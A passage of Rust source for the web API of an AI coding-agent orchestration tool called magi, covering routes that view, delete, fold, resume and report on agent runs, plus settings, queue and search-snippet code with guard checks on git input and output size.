3456            waiting,
3457            display_status,
3458            badge_status,
3459            done: state.status.done(),
3460            superseded_by,
3461            latest_attempt,
3462            task,
3463            state,
3464        }
3465    }
3466}
3467
3468async fn run_detail(
3469    State(ui): State<Arc<Ui>>,
3470    Path(id): Path<String>,
3471) -> ApiResult<Json<RunDetailView>> {
3472    blocking(move || {
3473        let id = resolve_run(&ui.runs, &id)?;
3474        let state = read_run(&ui.runs, &id)?;
3475        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3476        let live = state.liveness(daemon_claims);
3477        let waiting = !ui.questions.open_for(&id).is_empty();
3478        let superseded_by = state
3479            .pr_taken_over_by
3480            .clone()
3481            .or_else(|| ui.queue.superseded_by(&id))
3482            .as_deref()
3483            .map(crate::run::short_of)
3484            .map(str::to_owned);
3485        // Best-effort: an unreadable head (mid-write, or deleted) just means
3486        // this run's own status stands on its own, same as no later attempt
3487        // existing at all.
3488        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3489            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3490                short: head.short().to_owned(),
3491                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3492                status: head.status,
3493                done: head.status.done(),
3494                id: head.id,
3495            })
3496        });
3497        let max_attempts = daemon::Opts::default().max_attempts;
3498        let task = ui
3499            .queue
3500            .list()
3501            .into_iter()
3502            .find(|t| t.runs.contains(&id))
3503            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3504        Ok(Json(RunDetailView::of(
3505            state,
3506            waiting,
3507            live,
3508            superseded_by,
3509            latest_attempt,
3510            task,
3511        )))
3512    })
3513    .await
3514}
3515
3516/// `DELETE /api/runs/{id}`.
3517///
3518/// Remove a finished, folded run directory along with its artifacts.
3519/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3520/// deleted. This never touches git worktrees or branches - except for a run
3521/// whose state this build cannot read at all, where there is no candidate
3522/// list to check and the wholesale removal `magi fold` already uses for that
3523/// case is the only meaningful "delete".
3524async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3525    let (id, unreadable) = {
3526        let ui = Arc::clone(&ui);
3527        blocking(move || {
3528            let id = resolve_run(&ui.runs, &id)?;
3529            match read_run(&ui.runs, &id) {
3530                Ok(state) => {
3531                    let in_flight =
3532                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3533                    state
3534                        .ensure_can_delete(in_flight)
3535                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3536                    let dir = ui.runs.join(&id);
3537                    std::fs::remove_dir_all(&dir)
3538                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3539                    Ok((id, false))
3540                }
3541                Err(_) => {
3542                    // Unreadable: there is no candidate list to guard on, so
3543                    // a live daemon's claim is the only thing left to check -
3544                    // the same rule `run_fold` applies for the same reason.
3545                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3546                        return Err(ApiError::conflict(format!(
3547                            "run {id} is being worked on by a live daemon right now"
3548                        )));
3549                    }
3550                    Ok((id, true))
3551                }
3552            }
3553        })
3554        .await?
3555    };
3556    if unreadable {
3557        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3558            .await
3559            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3560    }
3561    let ui = Arc::clone(&ui);
3562    let done = id.clone();
3563    blocking(move || {
3564        // The agent that asked died with the run, so an open question would
3565        // keep asking the operator for a decision nobody can deliver.
3566        ui.questions.abandon_for_run(
3567            &done,
3568            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3569        )?;
3570        Ok(())
3571    })
3572    .await?;
3573    Ok(StatusCode::NO_CONTENT)
3574}
3575
3576/// `POST /api/runs/{id}/fold`.
3577///
3578/// Remove a run's candidate worktrees and branches, keeping its record.
3579///
3580/// This exists because the deck answered "delete this run" with *"Candidates
3581/// must be folded before deleting. Run `magi fold` first."* — a phone being
3582/// told to open a terminal, in the one product whose point is that it does
3583/// not need one. The runs an operator most wants gone are the stalled and
3584/// blocked ones, and those are exactly the runs still holding worktrees:
3585/// three of them here held 53 GB.
3586///
3587/// The winner's tree goes too. A fold is what someone asks for when they are
3588/// finished with a run, and leaving one tree behind would leave the delete
3589/// button disabled for the same reason as before.
3590///
3591/// Refused while a live daemon is working on the run, on the rule that guards
3592/// deletion: folding underneath a running agent would pull the tree it is
3593/// editing out from under it.
3594///
3595/// A run whose state this build cannot read at all falls back to
3596/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3597/// selectively, so the whole record's worktree goes wholesale, exactly what
3598/// `magi fold` does on the command line for the same run.
3599async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3600    let (id, state) = {
3601        let ui = Arc::clone(&ui);
3602        blocking(move || {
3603            let id = resolve_run(&ui.runs, &id)?;
3604            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3605                return Err(ApiError::conflict(format!(
3606                    "run {id} is being worked on by a live daemon right now"
3607                )));
3608            }
3609            let state = read_run(&ui.runs, &id).ok();
3610            Ok((id, state))
3611        })
3612        .await?
3613    };
3614    let removed = match state {
3615        Some(mut state) => {
3616            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3617                .await
3618                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3619            // Nothing left to remove is not the same thing as nothing left to
3620            // do — see `clean::clear_abandoned_active`'s own doc for the run
3621            // this exists for: worktrees already gone, but a killed process
3622            // left active seats nobody will ever answer for.
3623            if removed.is_empty() {
3624                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3625                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3626            }
3627            removed
3628        }
3629        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3630            .await
3631            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3632    };
3633    Ok(Json(FoldView {
3634        run: id,
3635        removed_count: removed.len(),
3636        removed,
3637    }))
3638}
3639
3640/// What a fold took away, so the deck can say so rather than only re-render.
3641#[derive(Debug, Serialize)]
3642struct FoldView {
3643    run: String,
3644    /// Worktree paths and branch names removed, in the order they went.
3645    removed: Vec<String>,
3646    removed_count: usize,
3647}
3648
3649/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3650/// merged outside of `land::land`'s own loop.
3651#[derive(Debug, Deserialize)]
3652struct FoldMergedBody {
3653    #[serde(default)]
3654    pr_url: String,
3655}
3656
3657/// `POST /api/runs/{id}/fold-merged`.
3658///
3659/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3660/// `Blocked` with `merge: null` because magi never got as far as opening a
3661/// pull request of its own (a title over GitHub's length limit, `gh pr
3662/// create` unreachable, a stale token), which the operator then finished by
3663/// hand on a pull request magi never recorded. The "Run actions" sheet used
3664/// to have no way to tell it about that pull request short of a terminal and
3665/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3666/// this exists and what it deliberately does not do (`bump::after_merge`).
3667///
3668/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3669/// correction rewrites the same `status`/`merge` fields a running graph would
3670/// be writing to on its own.
3671///
3672/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3673/// calls plus a fold, seconds of work, and the phone should get its answer
3674/// (which pull request it recorded, and what changed) in the same round
3675/// trip rather than learning it from the change stream.
3676async fn run_fold_merged(
3677    State(ui): State<Arc<Ui>>,
3678    Path(id): Path<String>,
3679    Json(body): Json<FoldMergedBody>,
3680) -> ApiResult<Json<FoldMergedView>> {
3681    let pr_url = body.pr_url.trim().to_owned();
3682    if pr_url.is_empty() {
3683        return Err(ApiError::bad_request("pr_url is required"));
3684    }
3685    let (id, mut state) = {
3686        let ui = Arc::clone(&ui);
3687        blocking(move || {
3688            let id = resolve_run(&ui.runs, &id)?;
3689            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3690                return Err(ApiError::conflict(format!(
3691                    "run {id} is being worked on by a live daemon right now"
3692                )));
3693            }
3694            let state = read_run(&ui.runs, &id)?;
3695            Ok((id, state))
3696        })
3697        .await?
3698    };
3699    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3700        .await
3701        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3702    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3703        .await
3704        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3705    Ok(Json(FoldMergedView {
3706        run: id,
3707        before: before.as_str().to_owned(),
3708        after: after.as_str().to_owned(),
3709        removed,
3710    }))
3711}
3712
3713/// What [`run_fold_merged`] did, so the deck can say so.
3714#[derive(Debug, Serialize)]
3715struct FoldMergedView {
3716    run: String,
3717    /// `status` before the correction — normally `"blocked"`.
3718    before: String,
3719    /// `status` after — normally `"merged"`.
3720    after: String,
3721    /// Worktree paths and branch names the trailing fold removed.
3722    removed: Vec<String>,
3723}
3724
3725/// `POST /api/runs/{id}/resume`.
3726///
3727/// Carry a stalled run on from where it stopped, in the background.
3728///
3729/// A stalled card says "the work is kept" and used to offer no way to act on
3730/// that: the candidates are built and paid for, and continuing means re-asking
3731/// only the seats whose absence collapsed the panel. The alternative an
3732/// operator actually had was releasing the task, which competes three fresh
3733/// implementations against work that already exists.
3734///
3735/// **202, not 200.** A resume runs agents for minutes; holding the connection
3736/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3737/// phone learns the outcome from the change stream.
3738///
3739/// Refused when the loop is running at all, not merely when it is on this run.
3740/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3741/// started a second graph on top of whatever the loop is already driving —
3742/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3743/// allows — would spend that quota twice over for no extra throughput.
3744async fn run_resume(
3745    State(ui): State<Arc<Ui>>,
3746    Path(id): Path<String>,
3747) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3748    let (id, state) = {
3749        let ui = Arc::clone(&ui);
3750        blocking(move || {
3751            let id = resolve_run(&ui.runs, &id)?;
3752            let state = read_run(&ui.runs, &id)?;
3753            Ok((id, state))
3754        })
3755        .await?
3756    };
3757    if let Some(to) = state
3758        .pr_taken_over_by
3759        .as_ref()
3760        .or(state.released_to.as_ref())
3761    {
3762        return Err(ApiError::conflict(format!(
3763            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3764            state.short(),
3765            crate::run::short_of(to)
3766        )));
3767    }
3768    if !state.status.resumable() {
3769        return Err(ApiError::conflict(format!(
3770            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3771            state.short(),
3772            status_word(state.status)
3773        )));
3774    }
3775    // Refused whenever the loop is running anything at all, not merely when
3776    // it is on this run: a manual resume racing a loop-driven run over the
3777    // same agent quota is the thing this guard exists to prevent, whether
3778    // the loop's own concurrency is one run or several.
3779    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3780        .into_iter()
3781        .next()
3782    {
3783        return Err(ApiError::conflict(format!(
3784            "the loop is running run {} right now; stop it first, or wait for \
3785             it to finish, before resuming a run by hand.",
3786            crate::run::short_of(&work.run)
3787        )));
3788    }
3789    let _resume = ui.begin_resume(&id)?;
3790
3791    // The same shape the list route returns, so the phone updates the card it
3792    // already has rather than learning a second schema for one button.
3793    let queued = RunSummary::of(
3794        &state,
3795        !ui.questions.open_for(&id).is_empty(),
3796        state.liveness(false),
3797    );
3798    let run = id.clone();
3799    tokio::spawn(async move {
3800        let _resume = _resume;
3801        match crate::graph::Runner::resume(&run) {
3802            Ok(mut runner) => {
3803                if let Err(e) = runner.execute().await {
3804                    tracing::warn!("resume of run {run} stopped: {e:#}");
3805                }
3806            }
3807            // The run's own record is what the phone reads; this line is for
3808            // the operator's terminal.
3809            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3810        }
3811    });
3812    Ok((StatusCode::ACCEPTED, Json(queued)))
3813}
3814
3815async fn run_report(
3816    State(ui): State<Arc<Ui>>,
3817    Path(id): Path<String>,
3818) -> ApiResult<impl IntoResponse> {
3819    let text = blocking(move || {
3820        let id = resolve_run(&ui.runs, &id)?;
3821        // Colour is off for the whole process, set once in `serve`. Rendering
3822        // is CPU work over the full state, which is the other reason this is
3823        // not on the executor.
3824        let state = read_run(&ui.runs, &id)?;
3825        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3826        let live = state.liveness(daemon_claims);
3827        Ok(format!(
3828            "{}{}",
3829            report::run(&state),
3830            report::active_seats(&state, live)
3831        ))
3832    })
3833    .await?;
3834    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3835}
3836
3837/// The structured twin of [`run_report`]: the same state, as sections the UI
3838/// draws as cards. An unreadable run answers with the same error the text
3839/// route does; it is never turned into an empty report.
3840async fn run_report_json(
3841    State(ui): State<Arc<Ui>>,
3842    Path(id): Path<String>,
3843) -> ApiResult<Json<crate::report_view::RunReportView>> {
3844    let view = blocking(move || {
3845        let id = resolve_run(&ui.runs, &id)?;
3846        let state = read_run(&ui.runs, &id)?;
3847        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3848        // Only a record that lacks the structured details reads `artifacts/`.
3849        let recovered = state.graft.as_ref().map(|_| {
3850            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3851        });
3852        Ok(crate::report_view::build_with(
3853            &state,
3854            state.liveness(daemon_claims),
3855            recovered.as_ref(),
3856        ))
3857    })
3858    .await?;
3859    Ok(Json(view))
3860}
3861
3862/// Most of a graft diff the route returns.
3863const GRAFT_DIFF_MAX: usize = 400 * 1024;
3864/// How long `git diff` may run.
3865const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3866
3867/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
3868/// come from the run record, never from the request.
3869async fn run_graft_diff(
3870    State(ui): State<Arc<Ui>>,
3871    Path(id): Path<String>,
3872) -> ApiResult<impl IntoResponse> {
3873    let (repo, pre, post) = blocking(move || {
3874        let id = resolve_run(&ui.runs, &id)?;
3875        let state = read_run(&ui.runs, &id)?;
3876        let g = state
3877            .graft
3878            .as_ref()
3879            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3880        let post = g
3881            .post
3882            .clone()
3883            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3884        Ok((state.repo.clone(), g.pre.clone(), post))
3885    })
3886    .await?;
3887    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3888    if !hex(&pre) || !hex(&post) {
3889        return Err(ApiError::not_found("the recorded commits are not valid"));
3890    }
3891    let out = tokio::time::timeout(
3892        GRAFT_DIFF_TIMEOUT,
3893        crate::git::git_raw(
3894            &repo,
3895            &[
3896                "diff",
3897                "--no-color",
3898                "--no-ext-diff",
3899                "-M",
3900                &pre,
3901                &post,
3902                "--",
3903            ],
3904        ),
3905    )
3906    .await
3907    .map_err(|_| ApiError::not_found("git diff timed out"))?
3908    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3909    if out.code != Some(0) {
3910        return Err(ApiError::not_found(
3911            "the recorded commits are no longer in the repository",
3912        ));
3913    }
3914    let mut body = out.stdout;
3915    if body.len() > GRAFT_DIFF_MAX {
3916        let mut cut = GRAFT_DIFF_MAX;
3917        while !body.is_char_boundary(cut) {
3918            cut -= 1;
3919        }
3920        body.truncate(cut);
3921        body.push_str("\n... diff truncated ...");
3922    }
3923    Ok((
3924        [
3925            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3926            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3927        ],
3928        body,
3929    ))
3930}
3931
3932/// A task as the UI sees it.
3933///
3934/// The whole task, plus the two things the client would otherwise have to
3935/// reimplement: the human-readable source and the status string. Nothing is
3936/// removed - the phone shows `last_error` and the run history verbatim.
3937#[derive(Debug, Serialize)]
3938struct TaskView {
3939    #[serde(flatten)]
3940    task: Task,
3941    source_label: String,
3942    source_link: Option<SourceLink>,
3943    status_str: &'static str,
3944    /// The instruction, parsed as markdown, for the Queue card's "Full
3945    /// instruction" panel. `task.instruction` is unchanged and still carries
3946    /// the raw text.
3947    instruction_md: Vec<md::Node>,
3948    /// For a blocked task, what it waits on with each dependency's state, e.g.
3949    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3950    /// recurses; empty for every other status.
3951    waits_on: Vec<String>,
3952    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3953    /// behind - non-empty means nothing in the loop will ever run it.
3954    stuck_roots: Vec<String>,
3955}
3956
3957impl From<Task> for TaskView {
3958    fn from(task: Task) -> Self {
3959        Self {
3960            source_label: task.source.label(),
3961            source_link: source_link(&task.source),
3962            status_str: task.status.as_str(),
3963            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3964            waits_on: Vec::new(),
3965            stuck_roots: Vec::new(),
3966            task,
3967        }
3968    }
3969}
3970
3971impl TaskView {
3972    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3973        let waits_on = inv.waits_on(&task);
3974        let stuck_roots = inv
3975            .stuck_roots(&task)
3976            .iter()
3977            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3978            .collect();
3979        Self {
3980            waits_on,
3981            stuck_roots,
3982            ..Self::from(task)
3983        }
3984    }
3985}
3986
3987/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3988/// its absence, leaves the cache to decide.
3989#[derive(Debug, Default, Deserialize)]
3990#[serde(default)]
3991struct ReposQuery {
3992    refresh: u8,
3993}
3994
3995/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3996/// listing `magi repos` prints at a terminal.
3997///
3998/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3999/// so an edit to `magi.toml` takes effect without a restart, the same
4000/// reasoning [`config_for`] documents for the talk routes.
4001async fn repos_list(
4002    State(ui): State<Arc<Ui>>,
4003    Query(q): Query<ReposQuery>,
4004) -> ApiResult<Json<Vec<repos::Repo>>> {
4005    let refresh = q.refresh != 0;
4006    blocking(move || {
4007        let (cfg, _) = Config::discover(&ui.repo, None)?;
4008        Ok(Json(ui.repos_cache.list(
4009            &cfg.repos.roots,
4010            Duration::from_secs(cfg.repos.scan_ttl),
4011            refresh,
4012        )))
4013    })
4014    .await
4015}
4016
4017/// Optional context, restricted to the server's known checkouts.
4018#[derive(Debug, Default, Deserialize)]
4019struct SettingsQuery {
4020    repo: Option<PathBuf>,
4021}
4022
4023/// Always discover against the server's original context, never the selection.
4024/// If that config is broken, retain the default context and machine-only roots
4025/// so the settings error contract and recovery picker remain available.
4026fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4027    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4028        let paths: Vec<PathBuf> = ui
4029            .machine_config
4030            .iter()
4031            .filter(|p| p.is_file())
4032            .cloned()
4033            .collect();
4034        if paths.is_empty() {
4035            Ok(Config::autodetected())
4036        } else {
4037            Config::load_layers(&paths)
4038        }
4039    });
4040    let mut known = cfg
4041        .map(|cfg| {
4042            ui.repos_cache.list(
4043                &cfg.repos.roots,
4044                Duration::from_secs(cfg.repos.scan_ttl),
4045                refresh,
4046            )
4047        })
4048        .unwrap_or_default();
4049    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4050    if !known.iter().any(|r| r.path == path) {
4051        known.push(repos::Repo {
4052            name: path
4053                .file_name()
4054                .unwrap_or_default()
4055                .to_string_lossy()
4056                .into_owned(),
4057            path,
4058        });
4059    }
4060    known
4061}
4062
4063fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4064    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4065    let canonical = requested.canonicalize().ok();
4066    let mut known = settings_repositories(ui, false);
4067    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4068    if !known.iter().any(matches) {
4069        known = settings_repositories(ui, true);
4070    }
4071    let repo = known
4072        .iter()
4073        .find(|r| matches(r))
4074        .map(|r| r.path.clone())
4075        .ok_or_else(|| ApiError {
4076            text_reason: None,
4077            status: StatusCode::UNPROCESSABLE_ENTITY,
4078            message: "Choose a known repository from the Settings selector.".to_owned(),
4079        })?;
4080    Ok((repo, known))
4081}
4082
4083/// `GET /api/settings` - the effective role assignments and roster, with the
4084/// layer each came from. A config that fails to load answers 200 with an
4085/// `error`, so the screen can say so instead of drawing empty lists.
4086async fn settings_get(
4087    State(ui): State<Arc<Ui>>,
4088    Query(q): Query<SettingsQuery>,
4089) -> ApiResult<Json<settings::SettingsView>> {
4090    blocking(move || {
4091        let (repo, known) = settings_context(&ui, q)?;
4092        Ok(Json(settings::view_with_repos(
4093            &repo,
4094            ui.machine_config.as_deref(),
4095            &known,
4096        )))
4097    })
4098    .await
4099}
4100
4101/// The body of `PUT /api/settings/roles`.
4102#[derive(Debug, Deserialize)]
4103#[serde(deny_unknown_fields)]
4104struct RolesBody {
4105    /// The `revision` the client last read.
4106    revision: String,
4107    /// Role key to its new ids; an empty list resets the key to its default.
4108    #[serde(default)]
4109    roles: std::collections::BTreeMap<String, Vec<String>>,
4110    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4111    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4112    /// words (422) instead of as a deserialization error.
4113    #[serde(default)]
4114    counts: std::collections::BTreeMap<String, serde_json::Value>,
4115}
4116
4117/// `PUT /api/settings/roles` - save role assignments to the machine config.
4118///
4119/// The write target is `ui.machine_config` and nothing in the body can change
4120/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4121/// 422 with the reason in words.
4122async fn settings_put_roles(
4123    State(ui): State<Arc<Ui>>,
4124    Query(q): Query<SettingsQuery>,
4125    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4126) -> ApiResult<Json<settings::SettingsView>> {
4127    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4128    blocking(move || {
4129        let (repo, known) = settings_context(&ui, q)?;
4130        settings::save_with_repos(
4131            &repo,
4132            ui.machine_config.as_deref(),
4133            &body.revision,
4134            &body.roles,
4135            &body.counts,
4136            &known,
4137        )
4138        .map(Json)
4139        .map_err(|e| match e {
4140            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4141            settings::SaveError::Refused(m) => ApiError {
4142                text_reason: None,
4143                status: StatusCode::UNPROCESSABLE_ENTITY,
4144                message: m,
4145            },
4146            settings::SaveError::Internal(m) => ApiError::internal(m),
4147        })
4148    })
4149    .await
4150}
4151
4152async fn queue_list(
4153    State(ui): State<Arc<Ui>>,
4154    Query(q): Query<ListQuery>,
4155) -> ApiResult<Json<Vec<TaskView>>> {
4156    blocking(move || {
4157        let tasks = ui.queue.list();
4158        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4159        Ok(Json(
4160            tasks
4161                .into_iter()
4162                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4163                .map(|t| TaskView::with_inventory(t, &inv))
4164                .collect(),
4165        ))
4166    })
4167    .await
4168}
4169
4170/// Most hits one search returns. The rest are counted in `total`.
4171const SEARCH_MAX_HITS: usize = 100;
4172/// Longest query, in characters, and most terms it is split into.
4173const SEARCH_MAX_QUERY: usize = 200;
4174const SEARCH_MAX_TERMS: usize = 8;
4175/// Characters of context kept before the first hit, and after it.
4176const SNIPPET_BEFORE: usize = 50;
4177const SNIPPET_AFTER: usize = 110;
4178
4179/// `?scope=runs|tasks&q=...`
4180#[derive(Debug, Deserialize)]
4181struct SearchQuery {
4182    #[serde(default)]
4183    scope: String,
4184    #[serde(default)]
4185    q: String,
4186}
4187
4188/// One piece of a snippet. `hit` pieces are what matched; the client renders
4189/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4190#[derive(Debug, Serialize, PartialEq, Eq)]
4191struct SnippetPart {
4192    text: String,
4193    hit: bool,
4194}
4195
4196#[derive(Debug, Serialize)]
4197struct SearchHit {
4198    id: String,
4199    /// The name of the field the snippet was cut from.
4200    field: String,
4201    snippet: Vec<SnippetPart>,
4202    /// The run's list row, so the page can apply its state / section / repo
4203    /// filters to a hit outside the loaded window. Absent for tasks and for a
4204    /// run record the list view cannot read.
4205    #[serde(skip_serializing_if = "Option::is_none")]
4206    run: Option<RunSummary>,
4207}
4208
4209#[derive(Debug, Serialize)]
4210struct SearchView {
4211    scope: String,
4212    q: String,
4213    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4214    hits: Vec<SearchHit>,
4215    /// Every match, hits beyond the cap included.
4216    total: usize,
4217    truncated: bool,
4218    /// Runs whose `run.json` could not be parsed at all. They were not
4219    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4220    unreadable: usize,
4221}
4222
4223/// The text leaves of a JSON document, with the name of the field each sits
4224/// under. Keys and numbers are skipped: they are structure, not prose.
4225fn text_leaves<'a>(
4226    value: &'a serde_json::Value,
4227    field: &'a str,
4228    out: &mut Vec<(&'a str, &'a str)>,
4229) {
4230    match value {
4231        serde_json::Value::String(s) => out.push((field, s)),
4232        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4233        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4234        _ => {}
4235    }
4236}
4237
4238/// Lower-case one character without changing how many there are, so indices
4239/// in the lowered text are indices in the original.
4240fn fold_char(c: char) -> char {
4241    c.to_lowercase().next().unwrap_or(c)
4242}
4243
4244/// Split a query into its lower-cased terms.
4245fn search_terms(q: &str) -> Vec<String> {
4246    let mut terms: Vec<String> = Vec::new();
4247    for t in q.split_whitespace() {
4248        let t = t.to_lowercase();
4249        if !terms.contains(&t) {
4250            terms.push(t);
4251        }
4252    }
4253    terms
4254}
4255
4256/// Match `terms` (all of them, anywhere in the document) against the leaves
4257/// and cut a snippet around the first hit. `None` when a term is missing.
4258fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4259    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4260    let mut first: Option<usize> = None;
4261    for term in terms {
4262        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4263        first = Some(first.map_or(at, |f| f.min(at)));
4264    }
4265    // The leaf holding the earliest hit of any term is where the snippet is cut.
4266    let (field, text) = leaves[first?];
4267    Some(SearchHit {
4268        id: String::new(),
4269        field: field.to_owned(),
4270        snippet: snippet_of(text, terms),
4271        run: None,
4272    })
4273}
4274
4275/// A window of `text` around the first occurrence of any term, whitespace
4276/// collapsed, with every term occurrence inside the window marked.
4277fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4278    let chars: Vec<char> = text.chars().collect();
4279    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4280    let needles: Vec<Vec<char>> = terms
4281        .iter()
4282        .map(|t| t.chars().map(fold_char).collect())
4283        .collect();
4284    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4285        let mut best: Option<(usize, usize)> = None;
4286        for n in needles.iter().filter(|n| !n.is_empty()) {
4287            // `to` bounds where a match may start; it may run past `to` (the
4288            // caller clips what it shows). A term longer than the field cannot
4289            // occur in it (it may live in another leaf of the document).
4290            if n.len() > chars.len() || to == 0 {
4291                continue;
4292            }
4293            let last = (to - 1).min(chars.len() - n.len());
4294            if from > last {
4295                continue;
4296            }
4297            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4298                && best.is_none_or(|(b, _)| i < b)
4299            {
4300                best = Some((i, i + n.len()));
4301            }
4302        }
4303        best
4304    };
4305    let Some((start, _)) = find(0, chars.len()) else {
4306        // Matched only through a case mapping that changes length: show the head.
4307        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4308        return vec![SnippetPart {
4309            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4310            hit: false,
4311        }];
4312    };
4313    let lo = start.saturating_sub(SNIPPET_BEFORE);
4314    let hi = (start + SNIPPET_AFTER).min(chars.len());
4315    let mut parts: Vec<SnippetPart> = Vec::new();
4316    let mut push = |s: &[char], hit: bool| {
4317        if s.is_empty() {
4318            return;
4319        }
4320        let text: String = s.iter().collect();
4321        match parts.last_mut() {
4322            Some(p) if p.hit == hit => p.text.push_str(&text),
4323            _ => parts.push(SnippetPart { text, hit }),
4324        }
4325    };
4326    if lo > 0 {
4327        push(&['\u{2026}'], false);
4328    }
4329    let mut at = lo;
4330    while at < hi {
4331        match find(at, hi) {
4332            Some((s, e)) => {
4333                push(&chars[at..s], false);
4334                // A match running past the window is shown up to its edge.
4335                let shown = e.min(hi);
4336                push(&chars[s..shown], true);
4337                at = shown;
4338            }
4339            None => {
4340                push(&chars[at..hi], false);
4341                at = hi;
4342            }
4343        }
4344    }
4345    if hi < chars.len() {
4346        push(&['\u{2026}'], false);
4347    }
4348    // Collapse whitespace (newlines in an instruction) without disturbing the
4349    // hit boundaries.
4350    let mut prev_space = false;
4351    for p in &mut parts {
4352        let mut out = String::with_capacity(p.text.len());
4353        for c in p.text.chars() {
4354            if c.is_whitespace() {
4355                if !prev_space {
4356                    out.push(' ');
4357                }
4358                prev_space = true;
4359            } else {
4360                out.push(c);
4361                prev_space = false;
4362            }
4363        }
4364        p.text = out;
4365    }
4366    parts.retain(|p| !p.text.is_empty());
4367    parts
4368}
4369
4370/// The search over `docs` (id, document), newest first, capped.
4371fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4372where
